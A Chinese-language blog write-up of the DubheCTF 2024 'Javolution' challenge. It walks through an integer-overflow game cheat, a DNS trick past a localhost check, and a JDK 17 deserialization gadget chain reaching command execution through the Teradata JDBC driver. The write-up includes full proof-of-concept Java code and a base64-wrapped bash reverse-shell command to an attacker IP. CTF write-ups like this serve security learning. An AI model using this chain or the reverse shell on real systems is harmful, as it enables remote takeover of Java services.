Javolution

DubheCTF 2024 –Javolution

前言

心理原因,自己太菜了,导致自己不想或者说不敢去打XCTF,这次V&N的各位佬火力全开,web 5/6,都是血

但跟我一点关系没有,等到这个java上线后才开始看这道题

web中有两个xss,而且还混有脏东西(呜呜,会不了一点

其他也好难,不会,不想看

但这个java其实我也没多少贡献,唉。。。

unknown师傅做java的时间线

检查jdk17中哪些gadget还能用的。

检查过程中,jdk17中,不能像之前一样修改私有属性了,会报错。我的解决方法:设置agent,把该处判断hook掉,成功修改私有属性。

然后是看gadget有哪些,最终还剩这些:

EventListenerList:readObject -> toString

POJONode:toString -> getter。

此时是3.17 凌晨1点44分,先睡觉。

第二天早上9点。

尝试把TemplatesImpl放进POJONode,toString时报错,有关module的问题。

此时我毫无缘由地想到套一层JDKDynamicProxy,成功执行getOutputProperties。

接下来看如何加载字节码并new对象。

debug发现,字节码可以进入define,但是define时会检查字节码的module,由于该字节码的类是继承了AbstractTranslet的,而AbstractTranslet所在的module没有open,所以define这里过不去。

猜测module信息会被编译进字节码,此时我一个很大胆的想法:手动把module信息加进恶意字节码,让这个module变成能够访问AbstractTranslet的module。差了点资料,基本没有,放弃。

此时的方向应该回到题目给的TeraDataSource#getConnection。

能够实现令题目靶机jdbc连接vps了,此时是3.17 中午12点多。

此时的想法:Java中rce的方法不多,TemplatesImpl加载字节码被封死了,还剩URLClassLoader远程类加载、JNDI,直接调Runtime执行命令的类,第三方库基本没有吧,这么危险,所以没有往这方面想。

考虑JNDI加载beanfactory,试了下,tomcat版本太高,已经修复了BeanFactory。JNDI无。

这里完全没有头绪了。

一位队友发现了Tera里的Runtime,豁然开朗。此时是1点53分。不到30分钟路线已经找到,剩下的就是满足路线的条件。

开始debug。

发现会发请求,得接收,不然会抛异常。好,一位队友起了个数据库环境,请求成功。

发现会根据数据库响应的不同数据进入不同分支,好,抓包,手搓服务端。手搓完成,实现了1-2次交互,并能简单控制走向。

后面,代码越来越复杂,不知如何构造响应数据。

越来越红温。

此时队友找到个现成的恶意服务端的代码,我草。此时是7点20分。

8点16分,拿到flag。

历时一天,我只能说太nb了

鄙人唯一的贡献就是上面说到的发现Tera里的Runtime,这对当时没有头绪的unknown师傅也算指明了一条路

开始

故事的开始是那么的美好,有趣的打怪升级

直接拿V&N队里师傅的python脚本讲解一下

import time
import requests

url = "http://1.95.54.152:40957/pal" # 初始化一级的人物


# battle depresso up 10 level
url1 = url + "/battle/depresso"   #升到10级
print(url1)
print(requests.get(url1).text)


time.sleep(0.5)
# capture Mammorest
url3 = url + "/capture?name=mammorest"   #修改数值也打不过,但是可以捕捉高自己10级的boss
print(requests.get(url3).text)
time.sleep(0.5)

url4 = url + "/capture?name=Grizzbolt"  #继续捕捉
print(requests.get(url4).text)
time.sleep(0.5)

#目前为止是30级,但下一个boss是50级,打也打不过,抓也抓不了



# change defense and hp
url2 = url + "/cheat?hp=6000&defense=-2147483645"  #修改自己防御为负数
print(requests.get(url2).text)
time.sleep(0.5)



battle_jetragon = url + "/battle/jetragon"   #这里就利用int的强制类型转化导致的负数溢出为了整数
print(requests.get(battle_jetragon).text)

#这里就到了50级,就可以了

battle_flag = url + "/battle/flag"
print(requests.get(battle_flag).text)

show = url + "/show"
print(requests.get(show).text)

image-20240318155751537

整数溢出的漏洞

image-20240318155445477

做到这一步我和V&N里的另一个师傅进度差不多,他把步骤写到协助文档里了,等于说我啥贡献都没有,唉毕竟人人都会(呜呜

接着

我们升到50级就是为了这里

image-20240318160421752

image-20240318160318011

host中要有dubhe,而且又要判断ip为127.0.0.1

那就设置一个子域名有dubhe的域名,然后给他个A记录设置为127.0.0.1 (unknown师傅太强了

image-20240318160622710

重头戏

然后就能够进行反序列化了

image-20240318160709098

但关键是java版本是17啊。。。。。。。

image-20240318160750590

然后就是找toString链子,以及调用什么getter

这里我直接摆烂,jdk17的什么module会不了一点

这里就是unknown搞出来的

设置agent,把jdk17判断判断反射处的逻辑hook掉,成功修改私有属性。

然后是看gadget有哪些,最终还剩这些:

EventListenerList:readObject -> toString (看到有这个我人快傻掉了,明明说好jdk17不行的。。。。

POJONode:toString -> getter。

然后unknown师傅继续尝试TemplatesImpl,但实际上是用不了的

高版本JDK中TemplatesImpl已经被移除,或者说无法使用

然后目标就转到PalDataSource的getConnection方法上

我的唯一贡献

当时到这里就没有进度了,那反正我就半摆烂地debug源码

一步步跟进去,结果真让我发现个Runtime,哈哈哈哈哈哈哈

image-20240318161941676

unknown把我发他的截图放到协作文档中,也算有了个参与感吧

路线:

TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—>RCE

然后就要看如何走到这一步了

逻辑很简单,但本地运行会卡住

卡在这一步

image-20240318162214705

根据分析应该是要连接上数据库

尾声

继续摆,不会搭建Teradata数据库

unknown他们自己搭数据库环境,甚至自己抓包,写恶意服务端,越到后面越不知道服务端怎么写。最后发现有现成的

https://github.com/luelueking/Deserial_Sink_With_JDBC

这一波典中典,又有写好的恶意服务端

本地的PalDataSource,好像说包名也要一样(不清楚

public class PalDataSource extends TeraDataSource {

    public PalDataSource(){
        String cmd = "bash -i >&/dev/tcp/your_ip/16666 0>&1";
        String command = "bash -c {echo,"+Base64.getEncoder().encodeToString(cmd.getBytes())+"}|{base64,-d}|{bash,-i}";
        System.out.println(command);
        setBROWSER(command);
        setLOGMECH("BROWSER");
        setDSName("your_ip");
        setDbsPort("10250");
    }

    @Override // com.teradata.jdbc.TeraDataSource, javax.sql.DataSource
    public Connection getConnection(String username, String password) throws SQLException {
        return super.getConnection(username, password);
    }

    @Override // com.teradata.jdbc.TeraDataSourceBase, javax.sql.CommonDataSource
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

unknown给出的poc (前面说到他自己用了个agent,所以要加载才能使用

并且动态代理那里改为DataSource.class也很细节

public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception, IllegalAccessException {
    Field field = getField(obj.getClass(), fieldname);
    if (field == null) {
        throw new Exception("field " + fieldname + "not found!");
    } else {
        field.setAccessible(true);
        field.set(obj, value);
    }
}
public static Field getField(Class<?> clazz, String fieldName) {
    Field field = null;

    try {
        field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
    } catch (NoSuchFieldException var4) {
        if (clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
    }

    return field;
}
public static Object unserialize(byte[] bytes) throws Exception {
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
}
public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream bytes = new ByteArrayOutputStream();
    ObjectOutputStream out = new ObjectOutputStream(bytes);
    out.writeObject(obj);
    return bytes.toByteArray();
}

public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception {
    Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
    Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
    cons.setAccessible(true);
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(templatesImpl);
    InvocationHandler handler = (InvocationHandler)cons.newInstance(advisedSupport);
    Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);
    return proxyObj;
}

public static void main( String[] args )throws Exception {

    PalDataSource palDataSource = new PalDataSource();
    Object pojoNodeStableProxy = getPOJONodeStableProxy(palDataSource);
    POJONode jsonNodes = new POJONode(pojoNodeStableProxy);
    EventListenerList list = new EventListenerList();

    UndoManager manager = new UndoManager();
    Vector vector = (Vector) Util.getFieldValue(manager, "edits");
    vector.add(jsonNodes);
    setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

    System.out.println(Util.URLEncode(Base64.getEncoder().encodeToString(serialize(list))));
}

image-20240318163213092

其他战队WP

域名那里可以不用自己去弄,sudo.cc本就是执行localhost的,所以dubhe.sudo.cc即可

然后就是关键的jdk17如何造链子,做法贼简单

在vm-option加上

--add-opens java.base/java.util=ALL-UNNAMED --add-exports  java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED

即可

woc,我看这个东西的时候是讲的jdk9,我以为jdk17就不行了,服了

然后可以使用XString的toString链子

但是好像不能实例化(TEL✌用的反射,然后配合上面这个vm-option)

AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)

攻击手法这篇论文中都讲到了,呜呜根本搜不到论文


Javolution
https://zer0peach.github.io/2024/03/18/Javolution/
作者
Zer0peach
发布于
2024年3月18日
许可协议